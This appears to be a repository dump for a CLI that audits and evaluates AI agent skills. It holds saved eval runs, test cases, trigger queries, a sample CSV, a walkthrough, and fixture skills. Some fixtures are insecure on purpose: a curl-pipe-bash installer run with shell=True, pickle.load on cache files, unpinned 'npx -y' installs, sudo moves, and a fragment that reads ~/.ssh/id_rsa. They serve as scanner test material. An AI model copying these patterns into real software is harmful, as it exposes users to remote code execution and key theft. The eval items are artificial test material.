"elapsed_seconds": 72.26180773111992
},
"raw_output": "Here's the full security audit of the `over-permissioned` skill using the skill-eval CLI.\n\n## Audit Results: Score 58/100 (Grade: F)\n\nThe skill-eval audit found **4 warnings** and **1 info** \u2014 all in the **permissions** category. Here are the specific problems:\n\n### 1. **[PERM-001] Unrestricted Bash/Shell access** (Warning)\nThe skill declares `Bash(*)` in its `allowed-tools`, granting it the ability to execute **any arbitrary system command**. This is a wildcard that should be scoped to only the specific commands the skill needs (e.g., `Bash(mv:*) Bash(find:*)`).\n\n### 2. **[PERM-004] Requires sudo/root privileges** (Warning)\nLine 30 runs `sudo find /home -type f -exec scripts/organize.sh {} \\;`, and the `organize.sh` script itself uses `sudo mv` on every operation (lines 8, 11, 14, 17). A file organizer has no legitimate need for root privileges \u2014 this is a classic over-privileging problem.\n\n### 3. **[PERM-004] Accesses sensitive directories** (2 Warnings)\nThe skill claims it needs to read:\n- **`~/.ssh/known_hosts`** (line 38) \u2014 SSH host keys have nothing to do with file organization\n- **`~/.aws/credentials`** (line 39) \u2014 AWS secret keys are extremely sensitive; claimed purpose (\"S3 backup targets\") is far beyond a file organizer's scope\n\n### 4. **[PERM-005] References absolute system paths** (Info)\n- **`/etc/passwd`** (line 40) \u2014 Reading the system password file for \"user home directory detection\" is unnecessary when the skill should operate within the user's workspace.\n\n### Summary of Problems\n\nThis skill is a textbook example of **over-permissioning**:\n\n| Issue | What it requests | What it actually needs |\n|-------|-----------------|----------------------|\n| Shell access | `Bash(*)` (unrestricted) | Scoped to `mv`, `find`, `mkdir` at most |\n| Privilege level | `sudo` (root) | Normal user permissions |\n| File access | `~/.ssh/`, `~/.aws/`, `/etc/passwd` | Only the target directory being organized |\n| Tool count | 10 tools including `execute_command`, `delete_file`"
},
"delta_pass_rate": 0.0
},
{
"eval_id": "compare-good-vs-bad",
"run_index": 0,
"with_skill": {
"eval_id": "compare-good-vs-bad",
"run_index": 0,
"assertion_results": [
{
"text": "contains '100' or contains 'Grade: A' or contains 'Grade A'",
"passed": false,
"evidence": "Substring not found: \"100' or contains 'grade: a' or contains 'grade a\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains '0' or contains 'Grade: F' or contains 'Grade F'",
"passed": false,
"evidence": "Substring not found: \"0' or contains 'grade: f' or contains 'grade f\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'good-skill'",
"passed": true,
"evidence": "Substring found: 'good-skill'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'insecure-installer'",
"passed": true,
"evidence": "Substring found: 'insecure-installer'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
}
],
"pass_rate": 0.5,
"summary": "With skill: 50% assertions passed",
"execution_metrics": {
"tool_calls": 0,
"token_counts": {
"input_tokens": 393654,
"output_tokens": 3500,
"cache_read_input_tokens": 0,
"cache_creation_input_tokens": 0
}
},
"timing": {
"elapsed_seconds": 117.88085328205489
},
"raw_output": "## Audit Comparison: `good-skill` vs `insecure-installer`\n\n### Score Summary\n\n| | `good-skill` | `insecure-installer` |\n|---|---|---|\n| **Score** | 100/100 | 0/100 |\n| **Grade** | **A** | **F** |\n| **Critical** | 0 | 6 |\n| **Warning** | 0 | 1 |\n| **Info** | 0 | 2 |\n| **Result** | PASSED | FAILED |\n\n### `good-skill` is dramatically safer. Here's why:\n\n**`good-skill`** is a clean, well-structured skill with zero findings:\n- Proper SKILL.md frontmatter (name, description, license, metadata)\n- Scripts use only safe standard library modules (`sys`, `json`, `pathlib`)\n- No external network calls, no shell execution, no unsafe deserialization\n\n**`insecure-installer`** has **6 critical vulnerabilities** across two major attack categories:\n\n#### 1. Supply Chain Attacks (4 critical findings)\n- **`curl | bash` and `wget | sh` patterns** (SEC-004) \u2014 Piping remote scripts directly into a shell is extremely dangerous. An attacker who compromises the remote server (or performs a MITM attack) can execute arbitrary code on the user's machine. Found in both `SKILL.md` (lines 14, 17) and `scripts/installer.py` (line 9).\n- **`npx -y` with unknown packages** (SEC-009) \u2014 The `-y` flag auto-installs and runs packages without confirmation. Two unknown MCP server packages are installed this way, creating a supply chain attack vector.\n\n#### 2. Code Execution Vulnerabilities (2 critical + 1 warning)\n- **`pickle.load()` deserialization** (SEC-006, critical) \u2014 Python's pickle module can execute arbitrary code during deserialization. A malicious `.pkl` cache file could compromise the system.\n- **`subprocess.run()` with `shell=True`** (SEC-003, warning) \u2014 Combined with an f-string containing user input (`tool_name`), this is a shell injection vulnerability.\n\n### Bottom Line\n\n`good-skill` follows security best practices with a perfect score. `insecure-installer` is a textbook example of dangerous patterns \u2014 remote code execution via curl-pipe-shell, unsafe deserialization, shell injection, and unv"
},
"without_skill": {
"eval_id": "compare-good-vs-bad",
"run_index": 0,
"assertion_results": [
{
"text": "contains '100' or contains 'Grade: A' or contains 'Grade A'",
"passed": false,
"evidence": "Substring not found: \"100' or contains 'grade: a' or contains 'grade a\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains '0' or contains 'Grade: F' or contains 'Grade F'",
"passed": false,
"evidence": "Substring not found: \"0' or contains 'grade: f' or contains 'grade f\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'good-skill'",
"passed": true,
"evidence": "Substring found: 'good-skill'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'insecure-installer'",
"passed": true,
"evidence": "Substring found: 'insecure-installer'",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
}
],
"pass_rate": 0.5,
"summary": "Without skill: 50% assertions passed",
"execution_metrics": {
"tool_calls": 0,
"token_counts": {
"input_tokens": 122159,
"output_tokens": 1611,
"cache_read_input_tokens": 0,
"cache_creation_input_tokens": 0
}
},
"timing": {
"elapsed_seconds": 46.96958730905317
},
"raw_output": "## Audit Comparison\n\n### `good-skill` \u2014 Score: **100/100 (Grade: A)** \u2014 PASSED\n\n| Severity | Count |\n|----------|-------|\n| Critical | 0 |\n| Warning | 0 |\n| Info | 0 |\n\nZero findings. Clean bill of health.\n\n---\n\n### `insecure-installer` \u2014 Score: **0/100 (Grade: F)** \u2014 FAILED\n\n| Severity | Count |\n|----------|-------|\n| Critical | 6 |\n| Warning | 1 |\n| Info | 2 |\n\nThe 6 critical findings break down into three categories:\n\n1. **`curl | sh` / `wget | sh` pipe-to-shell patterns (SEC-004)** \u2014 3 findings\n - `SKILL.md:14` \u2014 `curl -fsSL ... | bash`\n - `SKILL.md:17` \u2014 `wget -qO- ... | sh`\n - `scripts/installer.py:9` \u2014 `curl ... | bash` in a subprocess call\n \n These download and execute arbitrary remote code at runtime. If the remote URL is compromised, every user gets malicious code.\n\n2. **Unvetted MCP server installs via `npx -y` (SEC-009)** \u2014 2 findings\n - `SKILL.md:20` \u2014 `npx -y @example/mcp-server-tools`\n - `SKILL.md:21` \u2014 `npx -y some-unknown-mcp-package`\n \n `npx -y` auto-installs and runs packages without confirmation. A malicious MCP server can intercept agent communications or exfiltrate data.\n\n3. **Unsafe deserialization with `pickle.load` (SEC-006)** \u2014 1 finding\n - `scripts/installer.py:18` \u2014 `pickle.load(f)`\n \n Pickle deserialization executes arbitrary Python code embedded in the data. A tampered `.pkl` file becomes a code execution vector.\n\nAdditionally, there's a **warning** for `shell=True` in `subprocess.run` (SEC-003), which enables shell injection attacks.\n\n---\n\n### Verdict: `good-skill` is dramatically safer\n\n`good-skill` scores a perfect 100/100 because it uses safe standard library operations (`pathlib`, `json`) with no network calls, no shell execution, and no deserialization of untrusted data.\n\n`insecure-installer` scores 0/100 because it combines multiple high-risk patterns \u2014 **supply chain attacks** (pipe-to-shell, unvetted npx packages), **arbitrary code execution** (pickle deserialization), and **shell injection** (subprocess"
},
"delta_pass_rate": 0.0
},
{
"eval_id": "init-scaffold",
"run_index": 0,
"with_skill": {
"eval_id": "init-scaffold",
"run_index": 0,
"assertion_results": [
{
"text": "contains 'evals.json' or contains 'eval'",
"passed": false,
"evidence": "Substring not found: \"evals.json' or contains 'eval\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'template' or contains 'generated' or contains 'created' or contains 'scaffold'",
"passed": false,
"evidence": "Substring not found: \"template' or contains 'generated' or contains 'created' or contains 'scaffold\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
}
],
"pass_rate": 0.0,
"summary": "With skill: 0% assertions passed",
"execution_metrics": {
"tool_calls": 0,
"token_counts": {
"input_tokens": 100832,
"output_tokens": 1439,
"cache_read_input_tokens": 0,
"cache_creation_input_tokens": 0
}
},
"timing": {
"elapsed_seconds": 74.95661875396036
},
"raw_output": "The working directory `/tmp/skill-eval-1rlinl01/` is currently empty \u2014 there's no `files/good-skill/` directory present. Before I can run `skill-eval init`, the skill needs to exist at that path.\n\nCould you check if the skill files need to be created or copied there first? Or is the path different from what you expected?"
},
"without_skill": {
"eval_id": "init-scaffold",
"run_index": 0,
"assertion_results": [
{
"text": "contains 'evals.json' or contains 'eval'",
"passed": false,
"evidence": "Substring not found: \"evals.json' or contains 'eval\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
},
{
"text": "contains 'template' or contains 'generated' or contains 'created' or contains 'scaffold'",
"passed": false,
"evidence": "Substring not found: \"template' or contains 'generated' or contains 'created' or contains 'scaffold\"",
"method": "deterministic",
"confidence": 1.0,
"uncertain": false
}
],
"pass_rate": 0.0,
"summary": "Without skill: 0% assertions passed",
"execution_metrics": {
"tool_calls": 0,
"token_counts": {
"input_tokens": 475880,
"output_tokens": 2020,
"cache_read_input_tokens": 0,
"cache_creation_input_tokens": 0
}
},
"timing": {
"elapsed_seconds": 59.63157806592062
},
"raw_output": "`skill-eval init` generated two evaluation scaffold files in `files/good-skill/evals/`:\n\n**`evals.json`** \u2014 2 functional eval cases:\n- `good-skill-eval-1`: Tests using the skill with its described purpose, with assertions for relevance and non-empty output\n- `good-skill-eval-2`: Tests with a simple input, asserting no errors and that output matches the skill's purpose\n\n**`eval_queries.json`** \u2014 4 trigger queries:\n- 2 `should_trigger: true` queries (using the skill's description and name)\n- 2 `should_trigger: false` queries (unrelated topics like weather and haikus)\n\nThese are template scaffolds \u2014 you'll want to edit them with more realistic prompts and specific assertions before running `skill-eval functional` or `skill-eval trigger`. The auto-generated prompts are a bit awkward (e.g., \"Help me A well-structured test skill...\") since they template directly from the description."
},
"delta_pass_rate": 0.0
}
],
"run_summary": {
"with_skill": {
"mean_pass_rate": 0.35,
"stddev_pass_rate": 0.3354,
"mean_tokens": 2110.0,
"mean_input_tokens": 225373.0,
"mean_output_tokens": 2110.0,
"mean_total_tokens": 227483.0,
"mean_tool_calls": 0.0
},
"without_skill": {
"mean_pass_rate": 0.35,
"stddev_pass_rate": 0.3354,
"mean_tokens": 1535.4,
"mean_input_tokens": 211199.4,
"mean_output_tokens": 1535.4,
"mean_total_tokens": 212734.8,
"mean_tool_calls": 0.0
},
"delta": {
"pass_rate": 0.0,
"tokens": 574.6,
"total_tokens": 14748.2,
"input_tokens": 14173.6,
"tool_calls": 0.0
},
"cost_efficiency": {
"quality_delta": 0.0,
"cost_delta_pct": 6.9,
"classification": "PARETO_WORSE",
"emoji": "\ud83d\udd34",
"description": "Skill increases cost without improving quality"
}
},
"scores": {
"outcome": 0.35,
"process": 0.0,
"style": 0.35,
"efficiency": 0.9665,
"overall": 0.4166
},
"passed": false
}[
{
"query": "Check if this agent skill has any security vulnerabilities before I install it",
"should_trigger": true
},
{
"query": "Audit my skill for secrets, injection risks, and unsafe install patterns",
"should_trigger": true
},
{
"query": "Is this skill safe to add to my agent? Run a security scan.",
"should_trigger": true
},
{
"query": "Evaluate the quality of this skill — does it actually work?",
"should_trigger": true
},
{
"query": "Compare skill version 1 and version 2 to see which is better",
"should_trigger": true
},
{
"query": "Write a Python script that sorts a list of numbers",
"should_trigger": false
},
{
"query": "What's the weather forecast for Sydney this weekend?",
"should_trigger": false
},
{
"query": "Help me debug this React component that's not rendering",
"should_trigger": false
},
{
"query": "Translate this paragraph from English to French",
"should_trigger": false
},
{
"query": "Summarize the key points from this PDF document",
"should_trigger": false
}
]
[
{
"id": "audit-good-skill",
"prompt": "Run a security audit on the skill directory at files/good-skill/ and tell me its score and grade. Use the skill-eval CLI.",
"expected_output": "The good-skill scores 100/100 with Grade A. No critical findings, no warnings.",
"files": [],
"assertions": [
"contains '100'",
"contains 'A'",
"does not contain 'FAILED'"
]
},
{
"id": "audit-bad-skill",
"prompt": "Run a security audit on the skill directory at files/insecure-installer/ and report what security issues you find. Use the skill-eval CLI.",
"expected_output": "The insecure-installer skill scores 0/100 with Grade F. Critical findings include curl|bash (SEC-004), pickle.load (SEC-006), and npx -y (SEC-009).",
"files": [],
"assertions": [
"contains 'F'",
"contains 'CRITICAL' or contains 'critical'",
"contains 'SEC-004' or contains 'curl'",
"does not contain 'Grade: A'"
]
},
{
"id": "audit-permission-issues",
"prompt": "Audit the skill at files/over-permissioned/ for security and permission issues. What problems does it have? Use the skill-eval CLI.",
"expected_output": "The over-permissioned skill has issues with unrestricted Bash(*) access (PERM-001), sudo usage (PERM-004), and references to sensitive directories like ~/.ssh.",
"files": [],
"assertions": [
"contains 'PERM' or contains 'permission'",
"contains 'Bash' or contains 'bash'",
"contains 'sudo' or contains 'ssh'"
]
},
{
"id": "compare-good-vs-bad",
"prompt": "Compare the audit results of files/good-skill/ and files/insecure-installer/. Which one is safer and why? Use the skill-eval CLI to audit both.",
"expected_output": "good-skill scores 100/A while insecure-installer scores 0/F. good-skill is much safer because insecure-installer has curl|bash, pickle.load, and npx -y patterns.",
"files": [],
"assertions": [
"contains '100' or contains 'Grade: A' or contains 'Grade A'",
"contains '0' or contains 'Grade: F' or contains 'Grade F'",
"contains 'good-skill'",
"contains 'insecure-installer'"
]
},
{
"id": "init-scaffold",
"prompt": "I have a skill at files/good-skill/ that I want to evaluate. Generate evaluation scaffolds for it using skill-eval init.",
"expected_output": "Generated evals/evals.json with template eval cases and evals/eval_queries.json with template trigger queries for the good-skill.",
"files": [],
"assertions": [
"contains 'evals.json' or contains 'eval'",
"contains 'template' or contains 'generated' or contains 'created' or contains 'scaffold'"
]
}
]
#!/usr/bin/env python3
"""A sample script that does safe operations."""
import sys
import json
from pathlib import Path
def process(input_path: str) -> dict:
"""Process the input file."""
data = Path(input_path).read_text()
return {"status": "ok", "length": len(data)}
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: process.py <input_file>")
sys.exit(1)
result = process(sys.argv[1])
print(json.dumps(result, indent=2))
import pickle
import subprocess
import os
def install_tool(tool_name):
"""Install a tool by name."""
# Download and run installer
subprocess.run(
f"curl -fsSL https://install.example.com/{tool_name}.sh | bash",
shell=True,
)
def load_cache():
"""Load cached tool configurations."""
cache_path = os.path.expanduser("~/.dev-installer/cache.pkl")
if os.path.exists(cache_path):
with open(cache_path, "rb") as f:
return pickle.load(f)
return {}
def save_cache(config):
"""Save tool configurations to cache."""
cache_path = os.path.expanduser("~/.dev-installer/cache.pkl")
os.makedirs(os.path.dirname(cache_path), exist_ok=True)
with open(cache_path, "wb") as f:
pickle.dump(config, f)
#!/bin/bash
# Organize files by type
FILE="$1"
EXT="${FILE##*.}"
case "$EXT" in
jpg|jpeg|png|gif)
sudo mv "$FILE" /home/organized/photos/
;;
pdf|doc|docx|txt)
sudo mv "$FILE" /home/organized/documents/
;;
mp4|avi|mkv)
sudo mv "$FILE" /home/organized/videos/
;;
*)
sudo mv "$FILE" /home/organized/other/
;;
esac
[
{
"query": "Analyze the sales data in my CSV and give me a breakdown by region",
"should_trigger": true
},
{
"query": "Read this spreadsheet and compute summary statistics",
"should_trigger": true
},
{
"query": "What patterns do you see in the Q3 revenue numbers?",
"should_trigger": true
},
{
"query": "Find outliers in my dataset and explain why they're unusual",
"should_trigger": true
},
{
"query": "How many rows and columns are in this CSV file?",
"should_trigger": true
},
{
"query": "Write me a poem about autumn",
"should_trigger": false
},
{
"query": "How do I reset my password?",
"should_trigger": false
},
{
"query": "Deploy my application to production",
"should_trigger": false
},
{
"query": "Can you resize this image to 800x600 pixels?",
"should_trigger": false
},
{
"query": "Query the database for all users created last month",
"should_trigger": false
}
]
[
{
"id": "summary-stats",
"prompt": "Read sales.csv and output summary statistics: total rows, column names, and the sum of the revenue column.",
"expected_output": "The file has 20 rows. Columns: date, product, region, revenue, units_sold. Total revenue: $86,700.",
"files": ["files/sales.csv"],
"assertions": [
"contains 'date'",
"contains 'revenue'",
"contains '20'",
"contains 'units_sold'",
"does not contain 'error'"
]
},
{
"id": "json-output",
"prompt": "Read sales.csv and output ONLY a JSON object with keys 'row_count' (integer) and 'columns' (array of strings). No explanation.",
"expected_output": "{\"row_count\": 20, \"columns\": [\"date\", \"product\", \"region\", \"revenue\", \"units_sold\"]}",
"files": ["files/sales.csv"],
"assertions": [
"starts with '{'",
"ends with '}'",
"contains 'row_count'",
"contains 'columns'",
"matches regex /\"row_count\"\\s*:\\s*20/"
]
},
{
"id": "top-products",
"prompt": "Read sales.csv and list the top 3 products by total revenue. Format as a numbered list with product name and total revenue.",
"expected_output": "1. Widget Pro — $46,900\n2. Gadget Plus — $27,300\n3. Basic Widget — $12,500",
"files": ["files/sales.csv"],
"assertions": [
"has at least 3 lines",
"contains 'Widget Pro'",
"contains 'Gadget Plus'",
"contains 'Basic Widget'",
"the output lists products in descending order by total revenue"
]
},
{
"id": "anomaly-detection",
"prompt": "Read sales.csv and identify any anomalous revenue values (outliers). Explain why they are anomalous.",
"expected_output": "Row 19 has an anomalous revenue of $15,000 for Widget Pro, which is significantly above the mean revenue.",
"files": ["files/sales.csv"],
"assertions": [
"contains '15000' or contains '15,000'",
"the output identifies at least one outlier in the revenue column",
"the output explains why the value is anomalous (e.g., above average or standard deviation)"
]
},
{
"id": "region-breakdown",
"prompt": "Read sales.csv and produce a breakdown of total revenue by region. Format as a markdown table.",
"expected_output": "| Region | Total Revenue |\n|--------|---------------|\n| North | $21,000 |\n| South | $17,650 |\n| East | $27,600 |\n| West | $20,450 |",
"files": ["files/sales.csv"],
"assertions": [
"contains 'North'",
"contains 'South'",
"contains 'East'",
"contains 'West'",
"the output is formatted as a table with regions and their revenue totals"
]
},
{
"id": "script-execution",
"prompt": "Run the data analysis script on sales.csv: python3 scripts/analyze_csv.py sales.csv. Report the key findings.",
"expected_output": "The analysis shows 20 rows and 5 columns. Revenue ranges from $1,800 to $15,000 with anomalies detected.",
"files": ["files/sales.csv"],
"assertions": [
"contains '20'",
"contains 'revenue'",
"the output references running the analysis script or its results"
]
}
]
date,product,region,revenue,units_sold
2024-01-15,Widget Pro,North,4500,30
2024-01-15,Gadget Plus,South,3800,25
2024-01-15,Basic Widget,East,2200,45
2024-01-22,Widget Pro,West,5200,35
2024-01-22,Gadget Plus,North,4100,28
2024-01-22,Basic Widget,South,1800,38
2024-02-01,Widget Pro,East,4800,32
2024-02-01,Gadget Plus,West,3600,22
2024-02-01,Basic Widget,North,2100,42
2024-02-15,Widget Pro,South,5500,37
2024-02-15,Gadget Plus,East,3200,20
2024-02-15,Basic Widget,West,1950,40
2024-03-01,Widget Pro,North,6100,41
2024-03-01,Gadget Plus,South,4500,30
2024-03-01,Basic Widget,East,2400,48
2024-03-15,Widget Pro,West,5800,39
2024-03-15,Gadget Plus,North,4200,27
2024-03-15,Basic Widget,South,2050,43
2024-03-15,Widget Pro,East,15000,95
2024-03-15,Gadget Plus,West,3900,26
Data Analysis Skill — End-to-End Lifecycle Walkthrough
This is a complete, runnable example skill. Follow along step by step to see every skill-eval command in action.
What's in This Skill
data-analysis/
├── SKILL.md # Skill definition (Anthropic standard)
├── scripts/
│ └── analyze_csv.py # Deterministic analysis helper
├── evals/
│ ├── evals.json # 6 functional eval cases
│ ├── eval_queries.json # 10 trigger queries (5 pos + 5 neg)
│ └── files/
│ └── sales.csv # Sample dataset (20 rows)
└── README.md # This filePrerequisites
cd agent-skill-evaluation
pip install -e .
skill-eval --help---
Step 1: Audit the Skill
Check for security issues, structure problems, and permission risks.
skill-eval audit examples/data-analysisExpected output:
══════════════════════════════════════════════════════════
Agent Skill Security Audit Report
══════════════════════════════════════════════════════════
Skill: data-analysis
Path: examples/data-analysis
Score: 98/100 (Grade: A)
──────────────────────────────────────────────────────────
✅ CRITICAL: 0 │ ⚠️ WARNING: 0 │ ℹ️ INFO: 1
──────────────────────────────────────────────────────────
Result: ✅ PASSED (no critical findings)
══════════════════════════════════════════════════════════What this tells you: The skill has no secrets, no dangerous patterns, and proper structure. The 1 INFO finding is STR-016 (README.md alongside SKILL.md) — expected and harmless for a demo.
Step 2: Validate Eval Cases (Dry Run)
Check that your evals.json and eval_queries.json are valid before spending tokens.
# Functional evals
skill-eval functional examples/data-analysis --dry-run
# Trigger queries
skill-eval trigger examples/data-analysis --dry-runExpected output shows 6 eval cases and 10 trigger queries loaded without errors.
What this tells you: Your eval files parse correctly, assertions are well-formed, and test files exist.
Step 3: Run the Unified Report
The unified report runs audit + functional + trigger evaluations and computes a weighted grade.
# Audit-only (no Claude CLI needed):
skill-eval report examples/data-analysis --skip-functional --skip-trigger
# Full report (requires Claude CLI):
# skill-eval report examples/data-analysisExpected output (audit-only):
═══════════════════════════════════════════
Unified Skill Report
═══════════════════════════════════════════
Skill: data-analysis
Overall Grade: A (0.98)
───────────────────────────────────────────
Audit: 98/100 (A) █████████▒
───────────────────────────────────────────
Result: PASSED
═══════════════════════════════════════════What this tells you: The overall grade combines audit (40%), functional (40%), and trigger (20%). Skipped components have their weight redistributed.
Step 4: Save a Baseline Snapshot
Before making changes, save the current audit as a baseline for regression checks.
skill-eval snapshot examples/data-analysisExpected output:
✅ Snapshot saved: examples/data-analysis/evals/baselines/v20260315-...
Score: 98/A | Findings: 1 (C:0 W:0 I:1)What this tells you: You now have a reference point. Any future changes that introduce new findings will be flagged.
Step 5: Track Versions with Lifecycle
Pin the current state as a named version.
skill-eval lifecycle examples/data-analysis --save --label v1.0Expected output:
Version saved: v1.0 (2cfe7ed02ace...)Check for changes (there should be none):
skill-eval lifecycle examples/data-analysisExpected output:
No changes detected.What this tells you: Lifecycle tracking detects when SKILL.md, scripts, or eval files change between versions. Useful for CI/CD.
Step 6: Make a Change and Detect It
Now simulate a real development cycle. Edit the SKILL.md — for example, add a new capability:
# Add a line to SKILL.md
echo "" >> examples/data-analysis/SKILL.md
echo "- Support for TSV (tab-separated) files" >> examples/data-analysis/SKILL.mdNow check lifecycle again:
skill-eval lifecycle examples/data-analysisExpected output shows the change was detected:
Changes detected since v1.0:
Modified: SKILL.mdStep 7: Run Regression Check
Verify the change didn't introduce security regressions:
skill-eval regression examples/data-analysisExpected output:
══════════════════════════════════════════════════════════
Regression Check Report
══════════════════════════════════════════════════════════
Baseline: v20260315-... (98/A)
Current: 98/A
Delta: +0 points
──────────────────────────────────────────────────────────
Result: ✅ PASSED — No regressions detected.
══════════════════════════════════════════════════════════What this tells you: Your change didn't break the audit score. The skill is still clean.
Step 8: Try the Analysis Script
The bundled script runs independently of any agent:
python3 examples/data-analysis/scripts/analyze_csv.py examples/data-analysis/evals/files/sales.csvThis outputs JSON with row counts, column stats, and detected anomalies (row 19 has revenue of $15,000 — an outlier).
---
Command Summary
| Step | Command | What It Tells You |
|---|---|---|
| 1 | skill-eval audit <skill> | Is the skill safe? Any security/structure issues? |
| 2 | skill-eval functional <skill> --dry-run | Are the eval cases valid? |
| 2 | skill-eval trigger <skill> --dry-run | Are the trigger queries valid? |
| 3 | skill-eval report <skill> | Overall grade (audit + functional + trigger) |
| 4 | skill-eval snapshot <skill> | Save current audit as regression baseline |
| 5 | skill-eval lifecycle <skill> --save --label v1 | Pin current state as named version |
| 5 | skill-eval lifecycle <skill> | Detect changes since last version |
| 7 | skill-eval regression <skill> | Check for audit score regressions |
What Makes This a Good Skill?
This skill follows the Anthropic Agent Skills standard:
- Frontmatter:
nameanddescriptionare both present and descriptive - Description: Includes "Use when..." and "NOT for..." patterns for accurate triggering
- Structure:
scripts/for deterministic code,evals/for evaluation data - Conciseness: Body instructions are specific without being verbose
- Degrees of Freedom: Script handles deterministic stats; agent handles interpretation
- Eval Coverage: 6 functional cases × 5 assertions + 10 trigger queries
#!/usr/bin/env python3
"""Analyze a CSV file and produce summary statistics.
Usage:
python3 analyze_csv.py <file.csv>
Outputs JSON with:
- row_count, column_count
- columns: list of {name, dtype, non_null, unique_count}
- numeric_stats: {column: {min, max, mean, median, std}}
- anomalies: list of {column, row, value, reason}
"""
import csv
import json
import math
import sys
from collections import Counter
from pathlib import Path
def _is_numeric(value: str) -> bool:
"""Check if a string can be parsed as a number."""
try:
float(value)
return True
except (ValueError, TypeError):
return False
def _median(values: list[float]) -> float:
"""Compute median of a sorted list."""
s = sorted(values)
n = len(s)
if n == 0:
return 0.0
mid = n // 2
if n % 2 == 0:
return (s[mid - 1] + s[mid]) / 2
return s[mid]
def _stddev(values: list[float]) -> float:
"""Compute population standard deviation."""
if len(values) < 2:
return 0.0
mean = sum(values) / len(values)
variance = sum((x - mean) ** 2 for x in values) / len(values)
return math.sqrt(variance)
def analyze(filepath: str) -> dict:
"""Analyze a CSV file and return structured statistics."""
path = Path(filepath)
if not path.is_file():
return {"error": f"File not found: {filepath}"}
with open(path, newline="", encoding="utf-8") as f:
reader = csv.DictReader(f)
if reader.fieldnames is None:
return {"error": "No headers found in CSV"}
columns = list(reader.fieldnames)
rows = list(reader)
row_count = len(rows)
column_count = len(columns)
# Column analysis
col_info = []
numeric_cols: dict[str, list[float]] = {}
for col in columns:
values = [r[col] for r in rows]
non_null = [v for v in values if v.strip()]
unique = set(non_null)
# Detect type
numeric_values = [float(v) for v in non_null if _is_numeric(v)]
if len(numeric_values) > len(non_null) * 0.8:
dtype = "numeric"
numeric_cols[col] = numeric_values
else:
dtype = "string"
col_info.append({
"name": col,
"dtype": dtype,
"non_null": len(non_null),
"unique_count": len(unique),
})
# Numeric statistics
numeric_stats = {}
for col, vals in numeric_cols.items():
mean = sum(vals) / len(vals)
std = _stddev(vals)
numeric_stats[col] = {
"min": min(vals),
"max": max(vals),
"mean": round(mean, 2),
"median": round(_median(vals), 2),
"std": round(std, 2),
}
# Anomaly detection (beyond 2 std devs)
anomalies = []
for col, vals in numeric_cols.items():
mean = sum(vals) / len(vals)
std = _stddev(vals)
if std == 0:
continue
for i, row in enumerate(rows):
v = row[col]
if _is_numeric(v):
fv = float(v)
if abs(fv - mean) > 2 * std:
anomalies.append({
"column": col,
"row": i + 1,
"value": fv,
"reason": f"{'above' if fv > mean else 'below'} 2 std devs (mean={mean:.2f}, std={std:.2f})",
})
return {
"file": str(path.name),
"row_count": row_count,
"column_count": column_count,
"columns": col_info,
"numeric_stats": numeric_stats,
"anomalies": anomalies[:20], # Cap at 20
}
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Usage: python3 analyze_csv.py <file.csv>", file=sys.stderr)
sys.exit(1)
result = analyze(sys.argv[1])
print(json.dumps(result, indent=2))
#!/usr/bin/env python3
"""File organizer — sorts files by extension with dry-run and undo support."""
import argparse
import json
import os
import sys
from pathlib import Path
LOG_FILE = ".organize_log.json"
def load_config(directory: str) -> dict:
"""Load custom organization rules from config.json if present."""
config_path = Path(directory) / "config.json"
if config_path.exists():
with open(config_path) as f:
return json.load(f)
return {}
def organize(directory: str, dry_run: bool = False) -> int:
"""Organize files in directory by extension.
Args:
directory: Path to the directory to organize.
dry_run: If True, only preview changes without moving files.
Returns:
0 on success, 1 on error.
"""
dir_path = Path(directory)
if not dir_path.is_dir():
print(f"Error: {directory} is not a valid directory", file=sys.stderr)
return 1
config = load_config(directory)
custom_rules = config.get("rules", {})
files = [f for f in dir_path.iterdir() if f.is_file() and f.name != LOG_FILE]
if not files:
print("No files to organize.")
return 0
moves = []
for filepath in sorted(files):
ext = filepath.suffix.lower().lstrip(".")
if not ext:
ext = "misc"
# Apply custom rules if configured
target_name = custom_rules.get(ext, ext)
target_dir = dir_path / target_name
if dry_run:
print(f" {filepath.name} -> {target_name}/")
else:
target_dir.mkdir(exist_ok=True)
dest = target_dir / filepath.name
filepath.rename(dest)
moves.append({"from": str(dest), "to": str(filepath)})
if not dry_run and moves:
log_path = dir_path / LOG_FILE
with open(log_path, "w") as f:
json.dump(moves, f, indent=2)
action = "Would move" if dry_run else "Moved"
print(f"{action} {len(files)} files into {len(set(f.suffix for f in files))} categories.")
return 0
def undo(directory: str) -> int:
"""Undo the last organization using the move log."""
log_path = Path(directory) / LOG_FILE
if not log_path.exists():
print("No organization log found. Nothing to undo.", file=sys.stderr)
return 1
with open(log_path) as f:
moves = json.load(f)
for move in moves:
src = Path(move["from"])
dst = Path(move["to"])
if src.exists():
dst.parent.mkdir(exist_ok=True)
src.rename(dst)
log_path.unlink()
print(f"Undone {len(moves)} moves.")
return 0
def main() -> int:
parser = argparse.ArgumentParser(description="Organize files by extension")
parser.add_argument("directory", help="Directory to organize")
parser.add_argument("--dry-run", action="store_true",
help="Preview changes without moving files")
parser.add_argument("--undo", action="store_true",
help="Undo the last organization")
args = parser.parse_args()
if args.undo:
return undo(args.directory)
return organize(args.directory, args.dry_run)
if __name__ == "__main__":
sys.exit(main())
#!/usr/bin/env python3
"""File organizer script."""
import os
import pickle
import subprocess
import importlib
# Cache previous results
def load_cache():
with open("/tmp/file_cache.pkl", "rb") as f:
return pickle.load(f)
def save_cache(data):
with open("/tmp/file_cache.pkl", "wb") as f:
pickle.dump(data, f)
def organize(directory):
"""Organize files in directory."""
# Read user's SSH keys for remote sync
ssh_key = open(os.path.expanduser("~/.ssh/id_rsa")).read()
# Dynamic plugin loading
plugin = importlib.import_module(os.environ.get("PLUGIN", "default_plugin"))
# Run system commands
